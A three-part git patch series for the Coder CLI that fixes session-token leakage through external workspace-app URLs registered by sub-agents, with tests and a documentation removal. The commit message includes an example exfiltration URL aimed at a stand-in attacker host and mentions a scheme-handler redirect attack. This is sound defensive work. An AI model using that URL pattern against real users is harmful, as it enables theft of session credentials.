From e46b922c300ad9e68652815fd177a7ca20a1b620 Mon Sep 17 00:00:00 2001 From: Zach Kipp Date: Tue, 9 Jun 2026 16:36:09 +0000 Subject: [PATCH 1/3] fix: prevent session token exfiltration via external app URLs `coder open app` previously substituted the user's session token into any external workspace-app URL containing $SESSION_TOKEN before dispatching it to the OS open handler, regardless of the URL's host, scheme, or the app's provenance. A malicious workspace could register a sub-agent app pointing at `https://attacker.example/?t=$SESSION_TOKEN` and exfiltrate the session token the moment the user ran `coder open app`. Gate token substitution by app provenance. Sub-agent apps are attacker-influenceable through workspace configuration (devcontainer.json) and runtime registration, so the CLI no longer substitutes the user's session token into their URLs. If such a URL still contains the $SESSION_TOKEN placeholder, the CLI prints a warning before opening so the user knows the literal placeholder will be passed through unchanged. The URLs still open, but no real token is sent. This also neutralizes scheme-handler URL-redirect attacks for sub-agent apps, for example a malicious vscode://coder.coder-remote/open URL with an attacker-controlled url= parameter. Top-level agent apps come from the workspace template, which is admin-authored and vetted at import. Substitution continues unchanged for those URLs. --- cli/clitest/clitest.go | 6 +++ cli/open.go | 28 +++++----- cli/open_test.go | 51 ++++++++++++++++++- .../customizing-dev-containers.md | 21 -------- 4 files changed, 70 insertions(+), 36 deletions(-) diff --git a/cli/clitest/clitest.go b/cli/clitest/clitest.go index 83c8751545b..7762fa642b8 100644 --- a/cli/clitest/clitest.go +++ b/cli/clitest/clitest.go @@ -256,6 +256,12 @@ func (w *ErrorWaiter) RequireContains(s string) { require.ErrorContains(w.t, w.Wait(), s) } +func (w *ErrorWaiter) RequireNotContains(s string) { + err := w.Wait() + require.Error(w.t, err) + require.NotContains(w.t, err.Error(), s) +} + func (w *ErrorWaiter) RequireIs(want error) { require.ErrorIs(w.t, w.Wait(), want) } diff --git a/cli/open.go b/cli/open.go index fceda71394c..05d06356940 100644 --- a/cli/open.go +++ b/cli/open.go @@ -39,6 +39,11 @@ func (r *RootCmd) open() *serpent.Command { const vscodeDesktopName = "VS Code Desktop" +// externalSessionTokenPlaceholder is the literal substring in an external +// workspace-app URL that the CLI replaces with the user's session token +// when the app belongs to a trusted (top-level) agent. +const externalSessionTokenPlaceholder = "$SESSION_TOKEN" + func (r *RootCmd) openVSCode() *serpent.Command { var ( generateToken bool @@ -388,7 +393,16 @@ func (r *RootCmd) openApp() *serpent.Command { appURL := buildAppLinkURL(baseURL, ws, agt, foundApp, region.WildcardHostname, pathAppURL) if foundApp.External { - appURL = replacePlaceholderExternalSessionTokenString(client, appURL) + // Sub-agent apps are attacker-influenceable through workspace + // configuration (e.g. devcontainer.json) and runtime sub-agent + // registration. Never substitute the user's session token into + // their URLs. Template-defined apps run on a top-level agent + // and are admin-authored, so their URLs are trusted. + if !agt.ParentID.Valid { + appURL = strings.ReplaceAll(appURL, externalSessionTokenPlaceholder, client.SessionToken()) + } else if strings.Contains(appURL, externalSessionTokenPlaceholder) { + cliui.Warnf(inv.Stderr, "This app was registered from inside the workspace rather than from the workspace template. For security, the session token will not be substituted into the URL.") + } } // Check if we're inside a workspace. Generally, we know @@ -664,15 +678,3 @@ func buildAppLinkURL(baseURL *url.URL, workspace codersdk.Workspace, agent coder } return u.String() } - -// replacePlaceholderExternalSessionTokenString replaces any $SESSION_TOKEN -// strings in the URL with the actual session token. -// This is consistent behavior with the frontend. See: site/src/modules/resources/AppLink/AppLink.tsx -func replacePlaceholderExternalSessionTokenString(client *codersdk.Client, appURL string) string { - if !strings.Contains(appURL, "$SESSION_TOKEN") { - return appURL - } - - // We will just re-use the existing session token we're already using. - return strings.ReplaceAll(appURL, "$SESSION_TOKEN", client.SessionToken()) -} diff --git a/cli/open_test.go b/cli/open_test.go index 60cfc27f447..86aaeedf9c1 100644 --- a/cli/open_test.go +++ b/cli/open_test.go @@ -2,6 +2,7 @@ package cli_test import ( "context" + "database/sql" "net/url" "os" "path" @@ -21,6 +22,9 @@ import ( "github.com/coder/coder/v2/agent/agenttest" "github.com/coder/coder/v2/cli/clitest" "github.com/coder/coder/v2/coderd/coderdtest" + "github.com/coder/coder/v2/coderd/database" + "github.com/coder/coder/v2/coderd/database/dbfake" + "github.com/coder/coder/v2/coderd/database/dbgen" "github.com/coder/coder/v2/coderd/database/dbtime" "github.com/coder/coder/v2/codersdk" "github.com/coder/coder/v2/provisionersdk/proto" @@ -703,14 +707,16 @@ func TestOpenApp(t *testing.T) { w.RequireContains("region not found") }) - t.Run("ExternalAppSessionToken", func(t *testing.T) { + t.Run("ExternalAppOnTopLevelAgentSubstitutes", func(t *testing.T) { t.Parallel() + // Apps on the top-level (template-defined) agent are trusted, so the + // CLI substitutes $SESSION_TOKEN regardless of scheme. client, ws, _ := setupWorkspaceForAgent(t, func(agents []*proto.Agent) []*proto.Agent { agents[0].Apps = []*proto.App{ { Slug: "app1", - Url: "https://example.com/app1?token=$SESSION_TOKEN", + Url: "vscode://coder.coder-remote/open?token=$SESSION_TOKEN", External: true, }, } @@ -724,4 +730,45 @@ func TestOpenApp(t *testing.T) { w.RequireContains("test.open-error") w.RequireContains(client.SessionToken()) }) + + t.Run("ExternalAppOnSubAgentOpensAsIs", func(t *testing.T) { + t.Parallel() + + // Sub-agent app URLs are attacker-influenceable through workspace + // configuration and runtime registration. Even with an allowlisted + // scheme the CLI must not substitute the user's session token. + ownerClient, store := coderdtest.NewWithDatabase(t, nil) + ownerClient.SetLogger(testutil.Logger(t).Named("client")) + first := coderdtest.CreateFirstUser(t, ownerClient) + userClient, user := coderdtest.CreateAnotherUserMutators(t, ownerClient, first.OrganizationID, nil, func(r *codersdk.CreateUserRequestWithOrgs) { + r.Username = "subagentowner" + }) + r := dbfake.WorkspaceBuild(t, store, database.WorkspaceTable{ + Name: "subagentws", + OrganizationID: first.OrganizationID, + OwnerID: user.ID, + }).WithAgent().Do() + + require.NotEmpty(t, r.Agents, "expected at least one workspace agent") + mainAgent := r.Agents[0] + + subAgent := dbgen.WorkspaceSubAgent(t, store, mainAgent, database.WorkspaceAgent{ + Name: "devcontainer", + }) + _ = dbgen.WorkspaceApp(t, store, database.WorkspaceApp{ + AgentID: subAgent.ID, + Slug: "subapp", + External: true, + Url: sql.NullString{Valid: true, String: "vscode://coder.coder-remote/open?token=$SESSION_TOKEN"}, + }) + + inv, root := clitest.New(t, "open", "app", r.Workspace.Name+".devcontainer", "subapp", "--test.open-error") + clitest.SetupConfig(t, userClient, root) + + w := clitest.StartWithWaiter(t, inv) + w.RequireError() + w.RequireContains("test.open-error") + w.RequireContains("$SESSION_TOKEN") + w.RequireNotContains(userClient.SessionToken()) + }) } diff --git a/docs/user-guides/devcontainers/customizing-dev-containers.md b/docs/user-guides/devcontainers/customizing-dev-containers.md index 53570981dcd..b5010d29ad9 100644 --- a/docs/user-guides/devcontainers/customizing-dev-containers.md +++ b/docs/user-guides/devcontainers/customizing-dev-containers.md @@ -247,27 +247,6 @@ Standard dev container variables are also available: | `${containerWorkspaceFolder}` | Workspace folder path inside the container | | `${localWorkspaceFolder}` | Workspace folder path on the host | -### Session token - -Use `$SESSION_TOKEN` in external app URLs to include the user's session token: - -```json -{ - "customizations": { - "coder": { - "apps": [ - { - "slug": "custom-ide", - "displayName": "Custom IDE", - "url": "custom-ide://open?token=$SESSION_TOKEN&folder=${containerWorkspaceFolder}", - "external": true - } - ] - } - } -} -``` - ## Feature options as environment variables When your dev container uses features, Coder exposes feature options as From d21301ced576a61c04418130ef6c787383a90d3b Mon Sep 17 00:00:00 2001 From: Zach Kipp Date: Wed, 10 Jun 2026 15:29:33 +0000 Subject: [PATCH 2/3] fix(cli): only block sub-agent URL auto-open when $SESSION_TOKEN is present Sub-agent app URLs that don't reference $SESSION_TOKEN carry no token to leak via `coder open app`. Restrict the no-auto-open gate to sub-agent URLs that still contain the literal placeholder; sub-agent URLs without the placeholder open like ordinary external apps. --- cli/open.go | 30 ++++++++++++++++--------- cli/open_test.go | 58 +++++++++++++++++++++++++++++++++++++++++++----- 2 files changed, 72 insertions(+), 16 deletions(-) diff --git a/cli/open.go b/cli/open.go index 05d06356940..5bee8d45c65 100644 --- a/cli/open.go +++ b/cli/open.go @@ -392,17 +392,13 @@ func (r *RootCmd) openApp() *serpent.Command { pathAppURL := strings.TrimPrefix(region.PathAppURL, baseURL.String()) appURL := buildAppLinkURL(baseURL, ws, agt, foundApp, region.WildcardHostname, pathAppURL) - if foundApp.External { - // Sub-agent apps are attacker-influenceable through workspace - // configuration (e.g. devcontainer.json) and runtime sub-agent - // registration. Never substitute the user's session token into - // their URLs. Template-defined apps run on a top-level agent - // and are admin-authored, so their URLs are trusted. - if !agt.ParentID.Valid { - appURL = strings.ReplaceAll(appURL, externalSessionTokenPlaceholder, client.SessionToken()) - } else if strings.Contains(appURL, externalSessionTokenPlaceholder) { - cliui.Warnf(inv.Stderr, "This app was registered from inside the workspace rather than from the workspace template. For security, the session token will not be substituted into the URL.") - } + externalSubAgentApp := foundApp.External && agt.ParentID.Valid + if foundApp.External && !agt.ParentID.Valid { + // Template-defined apps run on a top-level agent and are + // admin-authored, so their URLs are trusted. Substitute the + // session token placeholder so the OS open handler receives + // a usable URL. + appURL = strings.ReplaceAll(appURL, externalSessionTokenPlaceholder, client.SessionToken()) } // Check if we're inside a workspace. Generally, we know @@ -413,6 +409,18 @@ func (r *RootCmd) openApp() *serpent.Command { _, _ = fmt.Fprintf(inv.Stdout, "%s\n", appURL) return nil } + + // Sub-agent external app URLs are set at runtime. Only open + // sub-agent URLs that don't contain the placeholder to prevent + // token exfiltration. + if externalSubAgentApp && strings.Contains(appURL, externalSessionTokenPlaceholder) { + cliui.Warnf(inv.Stderr, + "This app was registered from inside the workspace rather than from the workspace template. "+ + "Inspect the URL below carefully and, if you trust the source, substitute the $SESSION_TOKEN placeholder "+ + "with your session token and manually open it:") + _, _ = fmt.Fprintf(inv.Stdout, "%s\n", appURL) + return nil + } _, _ = fmt.Fprintf(inv.Stderr, "Opening %s\n", appURL) if !testOpenError { diff --git a/cli/open_test.go b/cli/open_test.go index 86aaeedf9c1..54f4fc6c438 100644 --- a/cli/open_test.go +++ b/cli/open_test.go @@ -1,6 +1,7 @@ package cli_test import ( + "bytes" "context" "database/sql" "net/url" @@ -731,12 +732,14 @@ func TestOpenApp(t *testing.T) { w.RequireContains(client.SessionToken()) }) - t.Run("ExternalAppOnSubAgentOpensAsIs", func(t *testing.T) { + t.Run("ExternalAppOnSubAgentWithPlaceholderPrintsURLAndDoesNotOpen", func(t *testing.T) { t.Parallel() // Sub-agent app URLs are attacker-influenceable through workspace - // configuration and runtime registration. Even with an allowlisted - // scheme the CLI must not substitute the user's session token. + // configuration and runtime registration. The CLI must not + // substitute the session token, and must not hand the URL to the + // OS open handler. The URL is printed to stdout so a user who + // trusts the source can substitute and open it manually. ownerClient, store := coderdtest.NewWithDatabase(t, nil) ownerClient.SetLogger(testutil.Logger(t).Named("client")) first := coderdtest.CreateFirstUser(t, ownerClient) @@ -762,13 +765,58 @@ func TestOpenApp(t *testing.T) { Url: sql.NullString{Valid: true, String: "vscode://coder.coder-remote/open?token=$SESSION_TOKEN"}, }) + inv, root := clitest.New(t, "open", "app", r.Workspace.Name+".devcontainer", "subapp", "--test.open-error") + clitest.SetupConfig(t, userClient, root) + var stdout, stderr bytes.Buffer + inv.Stdout = &stdout + inv.Stderr = &stderr + + w := clitest.StartWithWaiter(t, inv) + w.RequireSuccess() + require.NotContains(t, stderr.String(), "test.open-error") + require.NotContains(t, stdout.String(), "test.open-error") + require.Contains(t, stdout.String(), "vscode://coder.coder-remote/open?token=$SESSION_TOKEN") + require.NotContains(t, stdout.String(), userClient.SessionToken()) + require.Contains(t, stderr.String(), "substitute") + }) + + t.Run("ExternalAppOnSubAgentWithoutPlaceholderOpensAsIs", func(t *testing.T) { + t.Parallel() + + // Sub-agent app URLs that don't reference $SESSION_TOKEN carry no + // token to leak. The CLI auto-opens them like any other external + // app; only placeholder-bearing URLs are gated. + ownerClient, store := coderdtest.NewWithDatabase(t, nil) + ownerClient.SetLogger(testutil.Logger(t).Named("client")) + first := coderdtest.CreateFirstUser(t, ownerClient) + userClient, user := coderdtest.CreateAnotherUserMutators(t, ownerClient, first.OrganizationID, nil, func(r *codersdk.CreateUserRequestWithOrgs) { + r.Username = "subagentowner2" + }) + r := dbfake.WorkspaceBuild(t, store, database.WorkspaceTable{ + Name: "subagentws2", + OrganizationID: first.OrganizationID, + OwnerID: user.ID, + }).WithAgent().Do() + + require.NotEmpty(t, r.Agents, "expected at least one workspace agent") + mainAgent := r.Agents[0] + + subAgent := dbgen.WorkspaceSubAgent(t, store, mainAgent, database.WorkspaceAgent{ + Name: "devcontainer", + }) + _ = dbgen.WorkspaceApp(t, store, database.WorkspaceApp{ + AgentID: subAgent.ID, + Slug: "subapp", + External: true, + Url: sql.NullString{Valid: true, String: "https://example.com/some/path"}, + }) + inv, root := clitest.New(t, "open", "app", r.Workspace.Name+".devcontainer", "subapp", "--test.open-error") clitest.SetupConfig(t, userClient, root) w := clitest.StartWithWaiter(t, inv) w.RequireError() w.RequireContains("test.open-error") - w.RequireContains("$SESSION_TOKEN") - w.RequireNotContains(userClient.SessionToken()) + w.RequireContains("https://example.com/some/path") }) } From 37467042552bf2755bf3f9c1b821c2510b2e4ea6 Mon Sep 17 00:00:00 2001 From: Zach Kipp Date: Wed, 10 Jun 2026 09:54:19 -0600 Subject: [PATCH 3/3] fix: revert clitest helper --- cli/clitest/clitest.go | 6 ------ 1 file changed, 6 deletions(-) diff --git a/cli/clitest/clitest.go b/cli/clitest/clitest.go index 7762fa642b8..83c8751545b 100644 --- a/cli/clitest/clitest.go +++ b/cli/clitest/clitest.go @@ -256,12 +256,6 @@ func (w *ErrorWaiter) RequireContains(s string) { require.ErrorContains(w.t, w.Wait(), s) } -func (w *ErrorWaiter) RequireNotContains(s string) { - err := w.Wait() - require.Error(w.t, err) - require.NotContains(w.t, err.Error(), s) -} - func (w *ErrorWaiter) RequireIs(want error) { require.ErrorIs(w.t, w.Wait(), want) }